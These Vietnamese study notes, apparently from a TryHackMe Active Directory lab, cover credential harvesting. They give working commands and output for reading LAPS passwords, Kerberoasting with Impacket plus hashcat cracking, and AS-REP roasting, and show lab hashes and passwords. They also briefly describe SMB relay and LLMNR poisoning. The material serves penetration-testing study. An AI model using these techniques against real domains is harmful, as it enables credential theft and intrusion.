LAPS thêm vào 2 thuộc tính mới là ms-mcs-AdmPwdms-mcs-AdmPwdExpirationTime cho các đối tượng máy tính (computer object) ở trong AD. Thuộc tính ms-mcs-AdmPwd chứa mật khẩu ở dạng bản rõ còn ms-mcs-AdmPwdExpirationTime chứa thời gian hết hạn của mật khẩu.

LAPS sử dụng admpwd.dll để thay đổi mật khẩu của quản trị viên cục bộ và thay đổi giá trị của ms-mcs-AdmPwd.

Enumerate for LAPS

Để thăm dò xem tính năng LAPS có tồn tại ở trên một máy mục tiêu hay không, ta có thể kiểm tra đường dẫn của admpwd.dll:

C:\temp>dir "C:\Program Files\LAPS\CSE"
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362
 
 Directory of C:\Program Files\LAPS\CSE
 
06/06/2022  01:01 PM    <DIR>          .
06/06/2022  01:01 PM    <DIR>          ..
05/05/2021  07:04 AM           184,232 AdmPwd.dll
               1 File(s)        184,232 bytes
               2 Dir(s)   9,309,745,152 bytes free

Liệt kê các cmdlet mà có thể sử dụng với LAPS:

PS C:\temp> Get-Command *AdmPwd*
 
CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

Tiếp theo, ta cần tìm Organizational Unit (OU) mà có thuộc tính AdmPwdExtendedRights được cấp cho một vài user hoặc nhóm ở trong OU đó để có thể đọc LAPS. Chúng ta sẽ sử dụng cmdlet Find-AdmPwdExtendedRights để kiểm tra xem user hoặc nhóm nào ở trong một OU cụ thể có thuộc tính này:

PS C:\temp> Find-AdmPwdExtendedRights -Identity THMorg
 
ObjectDN                                      ExtendedRightHolders
--------                                      --------------------
OU=THMorg,DC=thm,DC=red                       {THM\LAPsReader}

Với THMorg là một OU mà ta đã có được từ quá trình thăm dò ban đầu.

Có thể thấy, nhóm LAPsReader ở trong THMorg có quyền truy cập vào LAPS. Kiểm tra thông tin liên quan đến nhóm này và các user của nó:

PS C:\temp> net groups "LAPsReader"
Group name     LAPsReader
Comment
 
Members
 
-------------------------------------------------------------------------------
bk-admin
The command completed successfully.

Tìm được bk-admin có quyền truy cập vào LAPS. Trước tiên, ta cần phải chiếm quyền kiểm soát tài khoản này. Sau đó, sử dụng cmdlet sau để trích xuất mật khẩu:

PS C:\temp> Get-AdmPwdPassword -ComputerName creds-harvestin
 
ComputerName         DistinguishedName                             Password           ExpirationTimestamp
------------         -----------------                             --------           -------------------
CREDS-HARVESTIN      CN=CREDS-HARVESTIN,OU=THMorg,DC=thm,DC=red    THMLAPSPassw0rd    2/11/2338 11:05:2...
Chú ý rằng ở trong thực tế, LAPS chỉ được bật ở trên một vài máy cụ thể. Do đó, chúng ta cần thăm dò và tìm đúng máy mục tiêu cũng như là tài khoản người dùng để có thể trích xuất mật khẩu của LAPS. Có rất nhiều script giúp làm việc này, một trong số đó là [leoloobeek/LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)

Other Attacks

Kerberoasting

Với cách tấn công này, ta cần tìm một tài khoản SPN (Service Principle Name, là các tài khoản dùng cho các service) chẳng hạn như IIS user, MSSQL, etc rồi yêu cầu một TGT hoặc TGS ticket.

Ta sẽ sử dụng script GetUserSPNs.py với tài khoản là THM.red/thm và mật khẩu là Passw0rd!:

GetUserSPNs.py -dc-ip 10.10.198.76 THM.red/thm
Impacket v0.11.0 - Copyright 2023 Fortra
 
Password:
ServicePrincipalName          Name     MemberOf  PasswordLastSet             LastLogon  Delegation
----------------------------  -------  --------  --------------------------  ---------  ----------
http/creds-harvestin.thm.red  svc-thm            2022-06-10 16:47:33.796826  <never>

Tùy chọn -dc-ip 10.10.198.76 giúp chỉ định địa chỉ IP của domain controller.

Kết quả thực thi của script trên cho ta biết rằng có một SPN user là svc-thm.

Sau khi có SPN user, thêm vào tùy chọn -request-user để yêu cầu một TGS ticket:

GetUserSPNs.py -dc-ip 10.10.198.76 THM.red/thm -request-user svc-thm                                                                                                                  ââ¯
Impacket v0.11.0 - Copyright 2023 Fortra
 
Password:
ServicePrincipalName          Name     MemberOf  PasswordLastSet             LastLogon  Delegation
----------------------------  -------  --------  --------------------------  ---------  ----------
http/creds-harvestin.thm.red  svc-thm            2022-06-10 16:47:33.796826  <never>
 
 
 
[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc-thm$THM.RED$THM.red/svc-thm*$27cc1a0b8905bfc05e07898f7717d8ff$6ecb65d2dd7cca8f5ac94ea56fc2021189a87f66d1769f32b06447c9384ceb12a96d8f5831cd7036ae20f0b711113459d7b047c3d44a0b80c429154227ae60e6c2d3d020e1ed92630e9b78a47f2fd755f0567263d9298552ba78b627520660e36bd8a451e9339fcf5e66d5739664fd0d8753fcf8588acc79402a89efedb8d59cf22fb3273530936b953218c261cf3d52cbea02952ec51c612d621d96054f9e5e4ef7a00cfd8ad615268b1c3a7269dafb12f3b07b73bd71410fc15449ab36fd31390ef42f67cbc5dc1126f81de1a7377fe84649532d2fcfda4e1a7be4104ebeb8dfc19471b981ad5b69c5282279cb54b90dc074734114634dbf52076a16b98d8b4839025265712cd45e7ba6188fa23600b87d66f7377daf586169431519be24a6fe19ea088a1e15f97d50fa7b91029d410273eeb1e41a8e288a47977770398258af9ba600f76e96644e72079af04c9bdc2eaff9fe5c92ebe75fefee01763f1eb71abab72e69f0f7fc8c7a79f26705c42c367bb4b03535818e84df9fdee33e5fae4d123212901e1fbf4a79fdf3f3a567d9a7df9fad9f2fee84fd1281d67f387fccb50e922f328ffad4cd7701ea93d488130ee44978673e6118c5cf562e23aa7a76d9bab018110f98e00efe9dfac3079ba07f0d2f4a9eb736f2334bd033b54b40e596a96bc0de00de58410ce8de1572be2056e9fdbaa1b5da2b5399152bdf25cb7368940dcb36f81b4ea09c3454a15c7a889a44ff4839c47612a7fc2c1c5333a89fba97cf7372af4904bce14110efb438c26b237ea04bf41062e605abf87616dff00a5d07c3d4b79c4b038f0dc8ac6adae77f3f65e4157aa905d21d24fdb041f1baee1b16456811c17848c469e50a741f98296043501ee52d4ddca07126163e21db6bd14c0446e07f23085402b224e542de30959773cc619bf613ee3f3fd3030c5fb7d7edd44956cff87932e6f1a4dffbc95c65b7b5599fbd7708f751630c2458c20286fd407faebd3e5e01e167b0252a7969e6c42386fe515d0ade651255cff95a079d9db6a38e4b9cb76161f6efac2183da8a4108fd7e229f918b0a3d3416d83498663f3701d24e89a0a9f21430952a338363711cbfe1849fe7de67526935722c34353afbbfe2aed7e395506e3a151138846765db265e7db3bd4c074e833f17653fd1577ccbd80c160791e777df1c8b0d1cc030d5c9fefb3dda33dc71adf99e18ecd6a30056a819de1f318a5d43107edb0cd6655a34b2a10d

Cuối cùng, sử dụng hashcat để crack TGS:

hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23$*svc-thm$THM.RED$THM.red/svc-thm*$27cc1a0b8905bfc05e07898f7717d8ff$6ecb65d2dd7cca8f5ac94ea56fc2021189a87f66d1769f32b06447c9384ceb12a96d8f5831cd7036ae20f0b711113459d7b047c3d44a0b80c429154227ae60e6c2d3d020e1ed92630e9b78a47f2fd755f0567263d9298552ba78b627520660e36bd8a451e9339fcf5e66d5739664fd0d8753fcf8588acc79402a89efedb8d59cf22fb3273530936b953218c261cf3d52cbea02952ec51c612d621d96054f9e5e4ef7a00cfd8ad615268b1c3a7269dafb12f3b07b73bd71410fc15449ab36fd31390ef42f67cbc5dc1126f81de1a7377fe84649532d2fcfda4e1a7be4104ebeb8dfc19471b981ad5b69c5282279cb54b90dc074734114634dbf52076a16b98d8b4839025265712cd45e7ba6188fa23600b87d66f7377daf586169431519be24a6fe19ea088a1e15f97d50fa7b91029d410273eeb1e41a8e288a47977770398258af9ba600f76e96644e72079af04c9bdc2eaff9fe5c92ebe75fefee01763f1eb71abab72e69f0f7fc8c7a79f26705c42c367bb4b03535818e84df9fdee33e5fae4d123212901e1fbf4a79fdf3f3a567d9a7df9fad9f2fee84fd1281d67f387fccb50e922f328ffad4cd7701ea93d488130ee44978673e6118c5cf562e23aa7a76d9bab018110f98e00efe9dfac3079ba07f0d2f4a9eb736f2334bd033b54b40e596a96bc0de00de58410ce8de1572be2056e9fdbaa1b5da2b5399152bdf25cb7368940dcb36f81b4ea09c3454a15c7a889a44ff4839c47612a7fc2c1c5333a89fba97cf7372af4904bce14110efb438c26b237ea04bf41062e605abf87616dff00a5d07c3d4b79c4b038f0dc8ac6adae77f3f65e4157aa905d21d24fdb041f1baee1b16456811c17848c469e50a741f98296043501ee52d4ddca07126163e21db6bd14c0446e07f23085402b224e542de30959773cc619bf613ee3f3fd3030c5fb7d7edd44956cff87932e6f1a4dffbc95c65b7b5599fbd7708f751630c2458c20286fd407faebd3e5e01e167b0252a7969e6c42386fe515d0ade651255cff95a079d9db6a38e4b9cb76161f6efac2183da8a4108fd7e229f918b0a3d3416d83498663f3701d24e89a0a9f21430952a338363711cbfe1849fe7de67526935722c34353afbbfe2aed7e395506e3a151138846765db265e7db3bd4c074e833f17653fd1577ccbd80c160791e777df1c8b0d1cc030d5c9fefb3dda33dc71adf99e18ecd6a30056a819de1f318a5d43107edb0cd6655a34b2a10d:Passw0rd1

AS-REP Roasting

Là một kỹ thuật tấn công nhằm trích xuất các giá trị băm mật khẩu của những tài khoản trong Active Directory (AD) được cấu hình với tùy chọn “Do not require Kerberos pre-authentication”. Tùy chọn này dựa trên phiên bản cũ của giao thức Kerberos, cho phép xác thực mà không yêu cầu nhập mật khẩu.

Khi thăm dò hệ thống, nếu đã thu thập được danh sách các tài khoản trong AD, ta có thể sử dụng script GetNPUsers.py để trích xuất giá trị băm mật khẩu của các tài khoản có tùy chọn trên:

GetNPUsers.py -dc-ip 10.10.198.76 thm.red/ -usersfile users.lst
Impacket v0.11.0 - Copyright 2023 Fortra
 
/usr/bin/GetNPUsers.py:163: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User admin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User thm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User sshd doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$victim@THM.RED:7c115933381d7cfd1ee4cb1fbb8cf123$139957c0c303d7a6a84f7f7a084fe08a71b15c4d90dd48374a28605e4db8f732c68a48211f2af6ef3cde8635a74671fd9c719f95acccc09875bc03e6c7f560a31b6d20100d7a2e8fa08ed416c85744b13b836cb1b2389a212c184e12046823b50094b3cfec520f27a999231b16dcf3a77dde0fb715720df06480eb097e4ee3c185326a395ddac0f3adc6c48de9b666ac65632d289c76842834a4d6797d82df8714de6fdf8f2d8c9f792b2c41907ace93dfe6cc07468370563ce592ef7872a2c1cf2fa2fbbc4c14da78dbf064440ca6592160b07d4e5723fb384498d117b14e22b538
[-] User CREDS-HARVESTIN$ doesn't have UF_DONT_REQUIRE_PREAUTH set

Script GetNPUsers.py không chỉ trích xuất giá trị băm mật khẩu mà còn tạo ra một ticket tương ứng với từng tài khoản thu được. Ngoài ra, script này cung cấp tùy chọn -format để định dạng giá trị băm theo các chuẩn khác nhau. Ví dụ, ta có thể thiết lập định dạng băm theo chuẩn của hashcat.

SMB Relay Attack

Attacker thực hiện man-in-the-middle attack để giám sát và capture các gói tin SMB để trích xuất các giá trị băm mật khẩu. Để có thể tấn công, SMB signing phải không được bật.

LLMNR/NBNS Poisoning

Link-Local Multicast Name Resolution (LLMNR) và NetBIOS Name Service (NBT-NS) là hai giao thức giúp các máy trong mạng nội bộ có thể phân giải tên miền nếu không thể sử dụng DNS.

LLMNR/NBNS Poisoning xảy ra khi attacker làm giả các gói tin trả về của 2 giao thức này với các thông tin nhận diện máy chủ sai lệch.

Tools

Một số công cụ dùng để thu thập các thông tin nhạy cảm (từ tập tin, bộ nhớ, etc):

list
from outgoing([[Active Directory Credentials Harvesting]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm Exploiting Active DirectoryLateral Movement and Pivoting.